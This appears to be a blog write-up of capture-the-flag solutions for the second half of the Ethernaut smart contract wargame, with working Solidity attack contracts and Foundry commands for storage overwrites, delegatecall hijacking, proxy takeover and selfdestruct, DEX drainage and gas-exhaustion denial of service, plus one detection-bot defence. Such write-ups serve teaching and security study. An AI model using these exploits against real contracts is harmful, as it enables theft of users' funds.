Ethernaut Series: Part II
- Naught Coin
- Preservation
- Recovery
- MagicNumber
- Alien Codex
- Denial
- Shop
- Dex
- DexTwo
- Puzzle Wallet
- Motorbike
- DoubleEntryPoint
- Good Samaritan
This is the second half of the Ethernaut series notes on how I solved each level using Foundry. For the first half, please see the previous post. The contracts deployed to solve the challenges, as well as test scripts, can be found on my Github.
Naught Coin
Since NaughtCoin
is an ERC20
token, we can use transferFrom
instead of transfer
(see Openzeppelin docs). Steps are:
- Deploy attack contract below, which will send tokens via
transferFrom
frommsg.sender
to another arbitrary address (e.g.0xA36f37e54180d59A9eC172d0f4A5F6c5Ba4F04A3
in my case)forge create src/AttackNaughtCoin.sol:AttackNaughtCoin --verify --constructor-args <challenge_addr>
- Set a maximum allowance for the attacker to move funds on behalf of
player
by callingcontract.approve(spender,amount)
on theNaughtCoin
contract fromplayer
, where we setspender
to be the attacker contract we deployedcast send <challenge_addr> "approve(address, uint256)" <attacker_addr> 1000000000000000000000000
- Note that we cannot call
approve
from the attack contract, sinceowner
is defined asmsg.sender
in the approve function ofERC20.sol
, which needs to beplayer
(since only player has the tokens). After approving the attack contract with the transfer rights, we can use the attacker contract to move the funds. - When we call
contract.transferFrom(player,to,amount)
inside the attack contract, it requires thatcontract.allowance(player, msg.sender)
is large enough, ie. the signermsg.sender
has the rights to move funds. In this case,msg.sender
is the attack contract address
- Call
attack()
on the attack contractcast send <attacker_addr> "attack()"
pragma solidity ^0.8.10;
interface INaughtCoin {
function balanceOf(address account) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address from,
address to,
uint256 amount
) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
}
contract AttackNaughtCoin {
address public victim;
INaughtCoin public nc;
constructor(address _victim) {
victim = _victim;
nc = INaughtCoin(victim);
}
function attack() public {
//beforehand, call NaughtCoin's approve(spender, amount) from msg.sender (the token holder)
//where spender is this attack contract, giving this contract permission to transfer out the player's tokens
uint256 maxTokens = nc.balanceOf(msg.sender);
nc.transferFrom(msg.sender, 0xA36f37e54180d59A9eC172d0f4A5F6c5Ba4F04A3, maxTokens);
}
}
Preservation
The key is to notice that the storage variables layout between Library Contract
and Preservation
did not match, and timeZone1Library
and timeZone2Library
are both instances of LibraryContract
. This is an issue since timeZone1Library
executes a delegatecall
within setFirstTime()
, which allows Preservation
storage variables to be modified using the code of LibraryContract
.
- Calling
setFirstTime()
supposedly setsstoredTime
. However, becausedelegatecall
modifies the caller contract’s storage,setFirstTime()
actually setstimeZone1Library
since it is the first storage variable (asstoredTime
is also the first variable in storage in its corresponding environment). Hence, we can pointtimeZone1Library
to our ownMaliciousLibrary
instance - Call the challenge contract’s
setFirstTime()
again, using any parameter (I chose 0), which we can use to setowner=tx.origin
, again sincedelegatecall
allows us to modify thePreservation
contract’s storage
pragma solidity ^0.8.10;
contract MaliciousLibrary {
address public timeZone1Library;
address public timeZone2Library;
address public owner;
function setTime(uint) public {
owner=tx.origin;
}
}
interface IPreservation {
function owner() external returns(address);
function setFirstTime(uint _timeStamp) external;
}
contract AttackPreservation {
address public victim;
IPreservation public p;
MaliciousLibrary public m;
constructor(address _victim) {
victim = _victim;
m = new MaliciousLibrary();
p = IPreservation(victim);
p.setFirstTime(uint256(uint160(address(m))));
p.setFirstTime(0);
}
}
Recovery
Of course, we can use Etherscan to look at the deployed SimpleToken contract under Internal Txs. The more interesting alternative is to deterministically compute the “forgotten” contract address based on the address of the creator (sender) and the number of transactions the creator has sent (nonce). These parameters, sender and nonce, are RLP encoded and hashed with Keccak256.
- Keep only the rightmost 160 bits = 40 hex digits from the 2+64 = 66-length hex, and append 0x to the front, to get the deployed contract address
- Below is the Javascript snippet (run
node snippet.js
):const {encode : rlp_encode} = require("@ethersproject/rlp"); const {keccak256} = require("@ethersproject/keccak256"); const futureAddress= keccak256(rlp_encode(["<challenge_addr","0x01"])); console.log("0x" + futureAddress.slice(26,66));
- Call selfdestroy of the recovered contract:
cast send <recovered_SimpleToken_addr> "destroy(address)" <any_to_addr>
MagicNumber
We need to deploy contract that returns 42 in raw EVM bytecode. Recall that EVM interprets solidity source code files as bytecode, which is just sequence of hex characters. Bytecode is comprised of two different pieces: initialization (only executed at deployment, telling EVM to store remaining runtime code) and runtime code (permanently stored code on blockchain).
- EVM Opcodes Reference
return 42
requires the value to be stored in memory not just the stack.RETURN
is opcodeF3
taking two stack inputs:(offset, size)
- Hence, the order of business is to run
MSTORE(position, value)
=MSTORE(0x00,0x2a)
. Then, we want to runRETURN(position=0, number of bytes=32)
=RETURN(0x00,0x20)
MSTORE
is opcode 52, which takes 2 stack inputs: position (0) and value (42=0x2a)PUSH1
is opcode 60, stands for pushing 1 byte (2 hex characters) to the stack- Note the order of pushing params to stack: with stack data structure, last in first out (LIFO)
602a // PUSH1 0x2a
6000 // PUSH1 0x00 (memory slot location offset)
52 //MSTORE (position=0, value=42)
6020 //PUSH1 0x20 (value is 32 bytes for the size param)
6000 // PUSH1 0x00 (memory slot location offset)
f3 //RETURN (position=0, number of bytes=32)
Therefore, Runtime opcode sequence in hex : 0x602a60005260206000f3
- 20 hex digits = 10 bytes
- this bytecode represents a contract that returns 0x2a
Now for the full contract creation code: we have two components:
- store in memory the 10 bytes of runtime bytecode from above
MSTORE(0, 0x602a60005260206000f3)
PUSH10
is opcode 69, which is needed to push the 10bytes of0x602a60005260206000f3
to the stack- Since solidity memory slots are 32 bytes, this will pad with 22 zeroes on the left
- return the runtime bytecode:
RETURN(offset=22,size=10)
=RETURN(0x16, 0x0a)
- Recall
RETURN
is opcodeF3
taking two stack inputs:(offset, size)
- Recall
//MSTORE runtime bytecode
69602a60005260206000f3 // PUSH10(value=0x602a60005260206000f3)
6000 // PUSH1 0x00 (position to store bytecode)
52 // MSTORE(position=0, size=10 bytes)
//RETURN
600a //PUSH1 0x0a (size is 10bytes)
6016 //PUSH1 0x16 (position offset=22)
f3 // return(position=22, size=10 bytes)
To summarize, the full contract creation opcode sequence in hex : 0x69602a60005260206000f3600052600a6016f3
To deploy this raw bytecode in foundry, I needed to call foundryup
in the terminal to get the most recent nightly build, to ensure we have the new feature that allows deploying raw contract bytecode with cast send --create
(ie. when to
destination of transaction is not specified). See the merged Github PR here.
cast send --create <raw_bytecode_above>
- Using
web3
library in Javascript, the equivalent command is:
web3.eth.sendTransaction({ data: '0x69602a60005260206000f3600052600a6016f3' })
- In Etherscan, under the contract tab, we should see that the bytecode is only the runtime bytecode left.
To finish the level:
cast send <challenge_addr> "setSolver(address)" <deployed_contract_from_rawbytecode>
Alien Codex
This level tests knowledge of the storage layout of a smart contract (see docs).
- 2^256 - 1 slots (as many slots as there are possible hashes)
- 32 bytes of data per slot
Since AlienCodex
is Ownable
, the first variable to be stored is owner
(address are 20 bytes) from Ownable contract. Next, the bool contact
variable can still fit in the same first slot. Both are statically sized variables.
For dynamic arrays, specifically codex
in this case, let the next slot position be p,
which will store the number of elements in the array, ie. array.length
. Then, actual array data is at keccak256(p)
(so that it won’t be overwriting anything existing when we expand the dynamic array). So array[0]
is stored at keccak256(p)
, array[1]
is keccak256(p)+1
, and so on.
The key vulnerability of this contract is allowing modifying the dynamic array length without checking for over/underflow, which allows us to set the array bounds to cover the entire storage area. This allows us to modify any part of the contract storage.
In this challenge: we have the following storage slot layout
Slot | Variable Stored |
---|---|
0 | owner and contact |
1 | codex.length |
keccak(1) | codex[0] |
keccak(1)+1 | codex[1] |
… | … |
2^256 - 1 | codex[2^256 - 1 - uint(keccak(1))] |
0 (overflow, can overwrite!) | codex[2^256 - 1 - uint(keccak(1)) + 1] |
We can thus deploy an attacker contract with the following steps:
- call
make_contact
- call
retract
which causes underflow from 0 and leads to code.length = 2^256 - 1 - Now that
codex
length is maximally large, we can index into the slot that overwrites slot 0.- Slot i corresponds to
codex
array indexed ati - keccak256(1)
, so slot 0 =2^256 - 1 - keccak256(1) + 1
- Slot i corresponds to
- call
revise
with the correct indexi
and your address converted tobytes32
function attack () public {
a = IAlienCodex(victim);
a.make_contact();
a.retract();
a.revise((2**256 - 1) - uint(keccak256(abi.encodePacked(uint(1)))) + 1,bytes32(uint256(uint160(msg.sender))));
}
Denial
Key: Since the withdraw
function uses call
to send ETH, we can use reentrancy and implement a fallback function within our attack contract which consumes all the gas. Hence, there will be no gas left for owner.transfer(amountToSend)
. This is a DoS (denial of service) attack.
The lesson here is that using call
instead of send
or transfer
can introduce vulnerabilities.
With reentrancy, recall the check-effect-interact paradigm (in the Denial
contract, there is no check for available balances, and the low-level call
, which allows reentrancy, occurs before the effect of updating balances (classic reentrancy attack setup).
To deny the owner’s withdrawal:
-
deploy an attack contract with fallback function that consumes nearly all the gas
receive() external payable { while(true){} }
setWithdrawPartner
to be this attack contract- call
Denial
contract’swithdraw()
to confirm that it indeed runs out of gas
Note that it will still work with sufficiently large amount of gas (2.3M gas and above worked for me), while challenge assumes 1M maximum gas.
- By default Foundry’s
cast
gave gas limit of 3.4M to withdraw function (so owner still got the drip funds, and was not denied) cast send <challenge_addr> "withdraw()" --gas-limit 1000000
does deny the drip for both parties (out of gas error for both drips)- Perhaps external
call
is not actually allowed to forward all 100% of the gas available, although I couldn’t find official documentation on this
Shop
Since price()
of the Buyer
interface is not actually implemented, it will resort to the definition of our attacker contract
- It’s unsafe to change the state (
price
in this case) based on external, untrusted contracts logic
contract AttackShop{
IShop public shop;
uint timesCalled;
constructor(address _victim) {
shop = IShop(_victim);
}
function price() external returns (uint) {
return shop.isSold() ? 0 : 300;
}
function attack() public {
shop.buy();
}
}
Dex
Firstly, a quick note on importing OpenZeppelin contracts in Solidity using foundry.
forge install openzeppelin/openzeppelin-contracts
forge remappings > remappings.txt
- helps VScode extension to play nicely. see https://book.getfoundry.sh/config/vscode
- generates this txt file
ds-test/=lib/forge-std/lib/ds-test/src/ forge-std/=lib/forge-std/src/ openzeppelin-contracts/=lib/openzeppelin-contracts/
Setting up remappings for foundry
allows me to now import the openzeppelin contracts as `
import "openzeppelin-contracts/contracts/token/ERC20/IERC20.sol";
In this challenge, the player starts with 10 of token1
and token2
. While the contract starts with 100 of each.
To exploit this level, we take advantage of the fact that when we swap against the DEX, the price moves in our favor, because $x_{to} = x_{from} * (N_{to})/(N_{from})$. In other words, if we swap all player’s tokens to 20 token1
, the DEX will now allow the player to swap 10 token1
for $10*(110/90) = 12$ token2
, so we just gained tokens out of thin air.
In fact, the strategy where we keep swapping from all token1
into all token2
, and vice versa repeatedly, will result in the following decreasing DEX contract balances (see the source code AttackDex.sol
and the corresponding test script AttackDex.t.sol
which we run via forge test -vvv --fork-url $ETH_RPC_URL
).
Logs:
Printing coin balances in DEX contract
------
token1: 90
token2: 110
------
token1: 110
token2: 86
------
token1: 80
token2: 110
------
token1: 110
token2: 69
------
token1: 45
token2: 110
------
token1: 90
token2: 0
Note that we have to be careful on the final swap to handle case where our swap conversion for the from
token balance to the to
token balance would exceed the reserves in the DEX contract.
function lowerboundSwap(address from, address to, uint amount) private {
bool exceedsReserves = (dex.getSwapPrice(from, to, amount) > dex.balanceOf(to,address(dex)));
uint newAmount = exceedsReserves ? dex.balanceOf(from,address(dex)) : amount;
dex.swap(from ,to, newAmount);
}
- Deploy Attacker
forge create src/AttackDex.sol:AttackDex --verify --constructor-args <challenge_addr>
- Approve coins for attacker contract to use, signed by player
cast send <dex_contract> "approve(address,uint)" <attacker_address> 9999
- Call attack method in attacker contract
cast send <attacker_address> "attack()"
Indeed, we should find that the Dex
contract has been emptied of its token2
coins.
One way to ameliorate such risk is to use multiple decentralised price oracles; otherwise, large pools of capital relative to trading liquidity can in practice manipulate prices on a DEX with similar simple pricing models. Adding slippage could be another option.
DexTwo
The key is that the DEX contract allows any ERC20 token to be swapped. Thus, we can exploit it by adding a token3
with minimal supply to the DEX, and allow us to get large quantities of token1
and token2
in exchange
- deploy custom token contract,
token3
which inherits fromERC20
- mint 1 token to DEX contract
- mint 3 tokens to Attacker contract
- swap 1
token3
for 100token1
since that is the ratio in the DEX - swap 2
token3
for 100token2
since that is the new ratio in the DEX
For reference, see the contract source code AttackDexTwo.sol
and the corresponding test script AttackDexTwo.t.sol
.
Puzzle Wallet
Storage layout for proxy contract has to match the logic contract; otherwise, we get a storage collision. Thus, it is possible to overwrite the stored variables pendingAdmin
and admin
of the PuzzleProxy
with owner
and maxBalance
respectively, in the PuzzleWallet
logic contract (and vice versa).
Since the goal is to set admin
via the setMaxBalance
function, which requires the challenge contract to have 0 balance, we exploit the multicall
function to register balance for twice the amount that we deposit. Thus, we can withdraw more than we put into the contract (thus emptying the challenge contract).
Within a multicall
call, we can only call deposit once. So it suffices to either do multicall[deposit(), multicall([deposit()])]
or multicall[multicall([deposit()]), multicall([deposit()])]
. What does not work is multicall([deposit(), deposit()])
, which returns an “Deposit can only be called once” error.
The result of this is we are able to call deposit
twice (registering msg.value
twice) while only sending ETH once!
Steps to complete:
- Create attacker contract with enough ether to conduct attack
forge create src/AttackPuzzleWallet.sol:AttackPuzzleWallet --value 0.001ether --verify --constructor-args <challenge_addr>
- Call attack
cast send <attacker_contract> "attack()”
function attack() public {
//sets owner
pw.proposeNewAdmin(address(this));
//as attacker is owner, it can add itself to whitelist
pw.addToWhitelist(address(this));
//we are only allowed to call deposit once in the multicall
bytes memory depositcall = abi.encodeWithSignature("deposit()");
bytes[] memory wrapped_depositcall = new bytes[](1);
wrapped_depositcall[0] = depositcall;
//we wrap a deposit in another multicall
//ie., multicall(deposit,multicall(deposit))
bytes[] memory nestedCall = new bytes[](2);
nestedCall[0] = depositcall;
nestedCall[1] = abi.encodeWithSignature("multicall(bytes[])", wrapped_depositcall);
uint amtToDrain = address(pw).balance;
//take credit for existing balance of victim contract, as well as the balance we added
pw.multicall{value:amtToDrain}(nestedCall);
pw.execute(msg.sender, 2*amtToDrain, ""); //drain the puzzlewallet contract
pw.setMaxBalance(uint256(uint160(msg.sender)));
}
We can verify in the game console that the storage slot 1 (corresponding to admin
) has been successfully updated to our address
await web3.eth.getStorageAt(instance, 1);
returns0x0000000000000000000000009bdcf9696e273afd83992b1fb5672a70532ca9e1
- (40-hex address zero-padded to 64 hex characters = 32bytes)
Motorbike
Proxy contracts use delegatecall
on a logic contract so that business logic code is upgradeable without changing the proxy state.
- To avoid clashes in storage usage between the proxy and logic contract, the address of the logic contract is usually saved in a specific slot (for example
0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc
in OpenZeppelin contracts) guaranteed to be never allocated by a compiler - Note that the implementation slot
0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc
is not a coincidence. It is the keccak256 hash of “eip1967.proxy.implementation” minus 1//javascript const strings_utils = require("@ethersproject/strings"); const {keccak256} = require("@ethersproject/keccak256"); console.log(keccak256(strings_utils.toUtf8Bytes("eip1967.proxy.implementation"))); //prints 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbd
In this challenge, we want to change the implementation of the Engine
logic contract to a malicious one (that contains the SELFDESTRUCT
operation), using upgradeToAndCall()
which requires us to be the upgrader
. However, the only way to set upgrader
is via initialize()
.
Since Engine
implements Initializable
, the function initialize()
can only be called once. Thankfully, we notice that the call to initialize()
in the Motorbike constructor is via a delegatecall
, which means that it only modifies the storage state of proxy Motorbike
, not the logic contract Engine
storage. In other words, we can still call initialize()
in the context of Engine
’s state. In fact, initialized
is still set to false
and upgrader
is set to 0x00
in the Engine
state. This is the crux of the challenge: the proxy uses the implementation purely for logic and modifies only the storage within the proxy contract, since the proxy interacts with the logic implementation only via delegatecall
. The takeaway here is to remember to initialise implementation contracts!
Steps:
-
Get contract address of
Engine
, the logic contract that we want to selfdestruct viadelegatecall
cast storage <challenge_addr> <IMPLEMENTATION_SLOT>
-
deploy
AttackMotorbike
contract, with input of Engine’s address. The attack consists of:- call Engine’s
initialize()
- call
upgradeToAndCall
using calldata code ofselfdestruct
- call Engine’s
function attack() public {
(bool success, ) = engineAddress.call(abi.encodeWithSignature("initialize()"));
require(success, "engine could not be initialized");
Destroy d = new Destroy();
bytes memory data = abi.encodeWithSignature("selfDestruct()");
(bool success2, ) = engineAddress.call(abi.encodeWithSignature("upgradeToAndCall(address,bytes)",address(d), data));
require(success2, "upgrade to and call failed");
}
Note that the Destroy
contract just needs the selfdestruct
function.
contract Destroy {
function selfDestruct() external {
selfdestruct(payable(tx.origin));
}
}
Finally, we can verify on Etherscan that the engine contract has been self-destructed.
DoubleEntryPoint
The vulnerability for this challenge is that CryptoVault
’s function sweepToken
is supposed to prevent the token being swept from being the underlying DET
token: require(token != underlying, "Can't transfer underlying token");
. However, this can be bypassed by simply calling sweepToken
on the LegacyToken
contract, whose delegate
variable is indeed the underlying token DET
so its delegate.delegateTransfer(to,value,msg.sender)
call would sweep the entire Vault’s balance of underlying tokens DET
to the sweptTokensRecipient
.
To prevent (or at least alert us of) this vulnerability, we implement a DetectionBot
contract to be set as Forta
’s bot to detect when both:
delegateTransfer(address, uint256, address)
is called- the caller of the above is the
CryptoVault
contract
We initialise the DetectionBot
with these two parameters. Notice that the detection bot must also implement handleTransaction
called within forta.notify()
which handles whether forta
should raiseAlert
, raising the botRaisedAlerts[<detectionbot_address>]
counter by one.
contract DetectionBot {
address refUser;
bytes refMsgData;
constructor (address _refUser, bytes memory _refMsgData) {
refUser = _refUser;
refMsgData = _refMsgData;
}
function handleTransaction(address user, bytes calldata msgData) public {
bytes memory functionSig = msgData[:4];
( , , address origSender) = abi.decode(msgData[4:],(address,uint256,address));
//check that origSender is the CryptoVault contract
if ((origSender==refUser) && (keccak256(functionSig) == keccak256(refMsgData))) {
//the msg.sender (caller of DetectionBot.handleTransaction) is a Forta contract
IForta forta = IForta(msg.sender);
forta.raiseAlert(user);
}
}
}
- The first 4 bytes of
msg.data
msgData[:4] is simply the function signature when we calldelegateTransfer
- ie.
abi.encodeWithSignature("delegateTransfer(address,uint256,address)")
=0x9cd1a121
which is 4 bytes
- ie.
- The remaining bytes of
msg.data
can then be decoded into the(address to, uint256 value, address origSender)
parameters. Crucially, theorigSender
address must match theCryptoVault
address we are tracking
When running AttackDoubleEntryPoint.t.sol
, which attempts to sweep the entire DET
balance from CryptoVault
after setting up the DetectionBot
, the test should fail with FAIL. Reason: Alert has been triggered, reverting
Steps:
- Deploy DetectionBot contract, where
<function_sig>
is0x9cd1a121
as discussed above
forge create src/AttackDoubleEntryPoint.sol:DetectionBot --constructor-args <cryptoVault_address> <function_sig>
- Call
setDetectionBot
onForta
contract
cast send <forta_address> "setDetectionBot(address)" <detectionbot_address>
Good Samaritan
We see that the Coin
contract is initialised with 1 million balance. Our goal is to drain all these tokens from the contract. In the GoodSamaritan
contract, we see that there is a requestDonation()
function which sends either 10 or all of the tokens to msg.sender
. This is promising.
- In the
Wallet
contract, notice that when the balance is < 10, werevert NotEnoughBalance()
, which is caught in the try-catch withinrequestDonation()
triggeringwallet.transferRemainder(msg.sender)
- Ideally, we would like to return the same
revert NotEnoughBalance()
error even when the balance is 1 million.
function donate10(address dest_) external onlyOwner {
// check balance left
if (coin.balances(address(this)) < 10) {
revert NotEnoughBalance();
} else {
// donate 10 coins
coin.transfer(dest_, 10);
}
}
Thankfully, we see that the Coin
contract’s transfer
function has an exploitable feature (if the destination _dest.isContract()
is true): INotifyable(dest_).notify(amount_)
.
//Coin's transfer function
function transfer(address dest_, uint256 amount_) external {
uint256 currentBalance = balances[msg.sender];
// transfer only occurs if balance is enough
if(amount_ <= currentBalance) {
balances[msg.sender] -= amount_;
balances[dest_] += amount_;
if(dest_.isContract()) {
// notify contract (EXPLOIT HERE!!)
INotifyable(dest_).notify(amount_);
}
} else {
revert InsufficientBalance(currentBalance, amount_);
}
}
All we need to do is deploy a malicious contract implementing notify(amount)
which simply reverts as revert NotEnoughBalance()
. However, we have to be careful with one detail: it must only revert when the amount
parameters is 10 (or less). See below for code.
This is so that wallet.donate10(msg.sender)
will get reverted on the try statement (since amount=10), but on the catch statement, the call wallet.transferRemainder(msg.sender)
should be allowed to go through, which ends up executing coin.transfer(attacker, amount=1000000)
.
contract AttackGoodSamaritan is INotifyable {
address victim;
error NotEnoughBalance();
constructor (address _victim) {
victim = _victim;
}
function attack() public{
IGoodSamaritan g = IGoodSamaritan(victim);
g.requestDonation();
}
function notify(uint256 _amount) pure public {
//revert on wallet.donate10(msg.sender), ie. amount=10
//but don't revert on wallet.transferRemainder(msg.sender), ie. amount=1000000
if(_amount <= 10) {
revert NotEnoughBalance();
}
}
}
Indeed, in the foundry Test script logging we see that coin.balances(<attacker_address>)
goes from 0 to 1 million after calling attack()
.